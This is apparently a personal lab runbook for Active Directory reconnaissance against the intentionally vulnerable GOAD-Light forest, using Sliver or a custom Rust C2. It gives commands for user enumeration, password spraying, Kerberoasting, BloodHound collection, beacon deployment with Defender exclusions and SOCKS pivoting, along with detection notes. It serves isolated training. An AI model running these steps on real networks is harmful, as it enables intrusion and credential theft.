Windows AD Recon — GOAD-Light Lab

Windows AD Recon — GOAD-Light Lab

Summary: Practice Windows/AD recon (OW64 Action Item 5) against the live GOAD-Light forest on the drone-bench host, using c2_rust or Sliver as the operator C2 layer when you need beacon-mediated execution or SOCKS pivoting.

Important

Authorized use only: GOAD-Light is an intentionally vulnerable AD lab. Keep it on host-only vboxnet0 — never bridge to the home LAN or hardware targets. See minimac §14.


Table of Contents

  1. Lab topology
  2. Two networks, two jobs
  3. Before you start
  4. Recon phases mapped to GOAD-Light
  5. Operator track A — c2_rust
  6. Operator track B — Sliver
  7. BloodHound and graph collection
  8. Detection and blue-team validation
  9. Pass criteria
  10. Related notes

1. Lab topology

graph TB
    subgraph operator["Operator — MiniMac 192.168.50.127"]
        OP[c2_rust controller / Sliver client]
    end

    subgraph c2lab["LAN C2 lab — Defender RT on"]
        WIN[Windows victim 192.168.50.252]
        KALI[Kali / Linux beacon 192.168.50.30]
    end

    subgraph goadhost["Drone bench — 192.168.50.68"]
        VBOX[VirtualBox host-only vboxnet0]
        subgraph forest["GOAD-Light — 192.168.56.0/24"]
            DC01[DC01 .10 — sevenkingdoms.local]
            DC02[DC02 .11 — north.sevenkingdoms.local]
            SRV02[SRV02 .22 — IIS + MSSQL]
        end
        VBOX --> DC01
        VBOX --> DC02
        VBOX --> SRV02
    end

    OP -->|SSH harness / C2| WIN
    OP -->|SSH| goadhost
    OP -.->|direct enum from .68| forest
    WIN -.->|only if routed or pivoted| forest

    style forest fill:#2d5016,stroke:#333
    style operator fill:#ff6600,stroke:#333
Asset Address Role in this exercise
MiniMac operator 192.168.50.127 c2_rust controller, Sliver client, Obsidian / harness runner
Windows C2 victim 192.168.50.252 Standalone Win10 — implant staging, shell tasks, evasion lab (windows-c2-lab)
Kali / Linux beacon 192.168.50.30 Cross-platform beacon checks (test_reliable_path.sh)
GOAD host 192.168.50.68 Boots GOAD-Light guests; run direct AD tools from here
GOAD-Light DC01 192.168.56.10 Parent domain sevenkingdoms.local (KINGSLANDING)
GOAD-Light DC02 192.168.56.11 Child domain north.sevenkingdoms.local (WINTERFELL)
GOAD-Light SRV02 192.168.56.22 Member server — IIS, SQL Express (CASTELBLACK)

Forest shape (GOAD-Light): parent sevenkingdoms.local + child north.sevenkingdoms.local. No essos.local (that is full GOAD on Node 2). Trusts, GPOs, and misconfigurations are provisioned by GOAD Ansible — use the inventory for exact hostnames and lab users.


2. Two networks, two jobs

Do not conflate the LAN C2 lab with the GOAD forest.

Network What you practice Typical foothold
192.168.50.0/24 Implant delivery, C2 protocol, Defender evasion, shell / tasking c2_rust beacon on .252 or .30
192.168.56.0/24 LDAP, Kerberos, SMB, BloodHound, ACL abuse SSH session on .68, or SOCKS through a beacon inside the forest

Default recon path: start GOAD on .68, enumerate from the Linux attack box on that host. Add c2_rust or Sliver when the scenario requires beacon-only tooling, OPSEC tradeoffs, or C2 SOCKS pivoting.

The Windows victim at .252 is not domain-joined to GOAD. Reaching .56.0/24 from .252 requires an explicit route or pivot — treat that as a later “implant on domain member” exercise, not day-one AD enum.


3. Before you start

Power on GOAD-Light (isolated)

ssh tester@192.168.50.68 goad-light-status
ssh -t tester@192.168.50.68 goad-light-start   # boots DC01 → DC02 → SRV02; verifies no NAT

Use the wrappers — not vagrant up (can re-enable NAT). Full runbook: /home/tester/labs/GOAD-LOCAL-RUNBOOK.md on .68.

Load credentials and inventory

ssh tester@192.168.50.68 'ls ~/labs/GOAD/workspace/*/inventory* 2>/dev/null; ls ~/labs/GOAD/ad/GOAD-Light/data/ 2>/dev/null'

GOAD ships domain users, groups, and vulnerable ACLs. Do not paste production passwords into notes — reference the inventory on the GOAD host.

Sanity checks from the GOAD host

ssh tester@192.168.50.68
ping -c1 192.168.56.10
nxc smb 192.168.56.0/24
dig @192.168.56.10 sevenkingdoms.local SOA +short

Power off when done

ssh -t tester@192.168.50.68 goad-light-stop

4. Recon phases mapped to GOAD-Light

This lab implements OW64 P2 Action Item 5 with concrete targets. Cross-walk with the scenario series:

Phase Scenario note GOAD-Light focus
Host / service enum 2. Internal (No Creds) nxc, nmap, DNS SRV records against .10 / .11 / .22
Auth / session enum 3. Authenticated Pivot Domain user from inventory — SMB, LDAP, WinRM
Deep AD / graph This note §7 BloodHound CE, ldapsearch, PowerView-style queries
Pivot / SOCKS 4. C2 & SOCKS Sliver socks5 or c2_rust pivot when beacon is on a domain host

Phase 1 — No credentials (network position on .68)

Live run (2026-08-12): bash c2_rust/tools/platform_lab/test_goad_phase1_enum.sh — CLI PASS; c2_rust Linux beacon SSH-hop 5/6 PASS (.68 SSH flapped on last SRV02 check; CLI confirmed HTTP 80 + MSSQL 1433 open).

Finding Value
Parent DC kingslanding.sevenkingdoms.local @ 192.168.56.10
Child DC winterfell.north.sevenkingdoms.local @ 192.168.56.11
Member server 192.168.56.22 — HTTP 80, MSSQL 1433
Parent LDAP NC DC=sevenkingdoms,DC=local
Child LDAP NC DC=north,DC=sevenkingdoms,DC=local
# SMB signing, null session behavior, OS build
nxc smb 192.168.56.10 192.168.56.11 192.168.56.22

# LDAP anonymous / guest (lab often allows more than production)
nxc ldap 192.168.56.10 192.168.56.11

# Kerberos user enum (no password) — expect lab-specific results
kerbrute userenum -d sevenkingdoms.local --dc 192.168.56.10 /usr/share/seclists/Usernames/xato-net-10-percent-usernames.txt

# DNS — domain controllers and SRV records
dig @192.168.56.10 _ldap._tcp.dc._msdcs.sevenkingdoms.local SRV +short
dig @192.168.56.10 _gc._tcp.sevenkingdoms.local SRV +short

Pass: You can name both domains, list DC IPs, and identify at least one reachable service on SRV02 (HTTP 80/443, MSSQL 1433).

Phase 2 — Authenticated enumeration

Live run (2026-08-12): bash c2_rust/tools/platform_lab/test_goad_phase2_enum.sh — CLI PASS (ldapsearch); c2_rust Linux beacon SSH-hop PASS (users/groups/computers child + parent via trust). Log: results/goad-phase2-cli.log.

Finding Value
Auth user (child) north\samwell.tarly (GOAD lab cred)
Cross-trust user north\brandon.stark → parent sevenkingdoms.local LDAP
Child users 17 person objects (Stark family, jon.snow, hodor, …)
Notable groups Domain Admins, Stark, Night Watch
Computers (child) WINTERFELL$, CASTELBLACK$
Password policy (child) minPwdLength: 5

Use a lab user from GOAD inventory (example pattern only):

export DC=192.168.56.10
export DOMAIN=sevenkingdoms.local
export USER='<from-inventory>'
export PASS='<from-inventory>'

# Password spray / verify (single user first)
nxc smb $DC -u "$USER" -p "$PASS"

# LDAP — users, groups, computers
nxc ldap $DC -u "$USER" -p "$PASS" --users
nxc ldap $DC -u "$USER" -p "$PASS" --groups
nxc ldap $DC -u "$USER" -p "$PASS" --computers

# Shares on member server
nxc smb 192.168.56.22 -u "$USER" -p "$PASS" --shares

Child domain — repeat against 192.168.56.11 and north.sevenkingdoms.local:

nxc ldap 192.168.56.11 -u "$USER" -p "$PASS" -d north.sevenkingdoms.local --users

Pass: Valid creds on at least one domain; user/computer counts documented; child vs parent distinguished.

Phase 3 — Deep AD (targets for BloodHound / PowerShell)

Objective Why it matters on GOAD Example direction
Domain trusts Parent/child path to DA nltest /domain_trusts, BloodHound “Trusts”
High-value groups Path to Domain Admin Domain Admins, Enterprise Admins, Account Operators
ACL abuse edges GOAD seeds vulnerable ACLs BloodHound “ACL” / “Outbound Object Control”
Kerberoastable SPNs SRV02 MSSQL / service accounts GetUserSPNs / BloodHound “Kerberoastable”
GPO / OU structure Lateral and persistence planning ldapsearch / SharpHound

On-DC quick checks (WinRM/RDP to lab DC — use inventory admin only when the exercise allows):

Get-ADTrust -Filter *
Get-ADGroupMember "Domain Admins"
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Live run (2026-08-12): Phase 3 — Kerberoast PASS via Kali SOCKS (sansa.stark, jon.snow, sql_svc). c2_rust LDAP hop PASS. BloodHound enum PASS on .68 (17 users, 51 groups); zip retrieve PARTIAL when .68 SSH flaps. Harness: test_goad_phase3_deep.sh, run_goad_bloodhound.sh. Full walkthrough: c2_rust/docs/GOAD_C2_LAB_WALKTHROUGH.md.

Finding Result
AS-REP roastable brandon.stark (LDAP DONT_REQ_PREAUTH / UAC 4260352)
Kerberoast targets sansa.stark, jon.snow, sql_svc — hashes in results/goad-bloodhound/bloodhound.log
Parent trust sevenkingdoms.local (child → parent)
c2_rust hop LDAP AS-REP + jon SPN + trusts PASS
BloodHound zip Re-run run_goad_bloodhound.sh when .68 SSH stable; manual SCP in walkthrough §6

5. Operator track A — c2_rust

Use when practicing first-party C2 and platform-lab harnesses on the LAN, then extending to domain-joined implants when available.

Reference: 7.12 Rust Beacon Development, windows-c2-lab, repo c2_fam/c2_rust/tools/platform_lab/, GOAD_C2_LAB_WALKTHROUGH.md (bash + c2_rust + Sliver runbook).

Reliable path (exclusion deploy — .252)

cd ~/code/c2_fam/c2_rust
bash tools/platform_lab/test_reliable_path.sh

Validates controller on .127, Windows deploy + shell, Linux beacon on .30.

Run recon commands via beacon shell

From the controller UI/API after deploy:

whoami /all
ipconfig /all
nltest /dclist:sevenkingdoms.local    # only if DNS/routing to .56 exists

For pure AD recon, prefer running nxc / BloodHound collectors from .68 until a GOAD member implant exists.

c2_rust pattern (validated): Linux beacon on .30shell task → sshpass ssh tester@192.168.50.68ldapsearch / dig against .56.0/24. Harness: tools/platform_lab/test_goad_phase1_enum.sh.

Future: beacon on GOAD member

  1. Stage implant on 192.168.56.22 (or user workstation when added to GOAD).
  2. Task LDAP/Recon via shell or BOF (HOWTO_CREATE_BOF in repo).
  3. Optional SOCKS pivot — same OPSEC model as Sliver/Cobalt SOCKS section, adapted to c2_rust pivot module when enabled.

Lab honesty (2026-08-12): thin-stage / post-invoke paths on .252 with Defender RT on may not sustain a living shell after stage-2 handoff — use exclusion deploy (C2_WIN_DEFENDER_EXCLUSION=1) for reliable tasking. See test_defender_pulse_stage2_post_invoke.sh results in windows-c2-lab.


6. Operator track B — Sliver

Use when practicing mature Windows C2 features: in-memory .NET, execute-assembly, socks5, lateral movement.

Reference: 7.10 Sliver C2 Windows, 7.9 Sliver Beacon Creation OPSEC.

Minimal lab wiring

Step Action
1 Run sliver-server on operator host or dedicated Linux C2 VM
2 https or mtls listener; generate beacon --os windows per §Ready-to-Use in 7.10
3 Deliver to .252 for C2 mechanics, or to GOAD member for AD-adjacent recon
4 socks5 start → proxychains for LDAP/SMB through beacon (Recon/4. C2_SOCKS)

Recon from an interactive session

# Sliver console (examples — adjust session name)
sliver > use <session>
sliver > getuid
sliver > execute -o whoami /all
sliver > execute-assembly /path/to/Seatbelt.exe -group=system
sliver > socks5 start

Collect BloodHound from Windows:

# On attacker, after socks5 + proxychains to DC LDAP
proxychains4 bloodhound-ce-python -u 'USER' -p 'PASS' -d sevenkingdoms.local -ns 192.168.56.10 -c All

Tradeoff: Sliver gives faster in-memory tooling; c2_rust gives custom protocol/evasion iteration. For OW64 Action Item 5, either framework is acceptable if you document commands run and artifacts produced.


7. BloodHound and graph collection

# From GOAD host (.68) — preferred for first collection
sudo apt install bloodhound-ce-python  # or use Docker CE stack

bloodhound-ce-python \
  -u 'USER' -p 'PASS' \
  -d sevenkingdoms.local \
  -ns 192.168.56.10 \
  -c All,LoggedOn,Session,GPOLocalGroup \
  --zip

# Child domain (second zip)
bloodhound-ce-python \
  -u 'USER' -p 'PASS' \
  -d north.sevenkingdoms.local \
  -ns 192.168.56.11 \
  -c All \
  --zip

Import zips into BloodHound CE. Document:


8. Detection and blue-team validation

Treat every step as a defender exercise (Recon/7. Blue_Team_Detection, Recon/9. Detection_EventIDs_Splunk):

Activity Likely artifacts
nxc / crackmapexec LDAP Windows Event 4624/4625, LDAP bind logs
Kerbrute / password spray 4771, 4740 (lockout if careless — use one user in lab)
BloodHound collection 4662 (LDAP queries), heavy DC LDAP traffic
Sliver / c2_rust beacon EDR network + process telemetry; separate from AD logs

Lab rule: one spray target at a time; snapshot clean-isolated-2026-08-12 on guests before destructive changes.


9. Pass criteria

# Criterion
1 GOAD-Light started via goad-light-start, verified isolated (no guest default route)
2 Both domains and three IPs documented
3 Unauthenticated + authenticated enum completed (nxc or equivalent)
4 BloodHound (or equivalent) zip imported; one path-to-DA screenshot or written path
5 Operator track documented: c2_rust or Sliver — what ran, from which host
6 Detection table: ≥3 events or log sources defenders would use

Recon series

Pillar & infra

GOAD provisioning (other nodes)


Last validated against live lab: 2026-08-12 (GOAD-Light on 192.168.50.68, c2_rust platform lab on 192.168.50.127 / .252).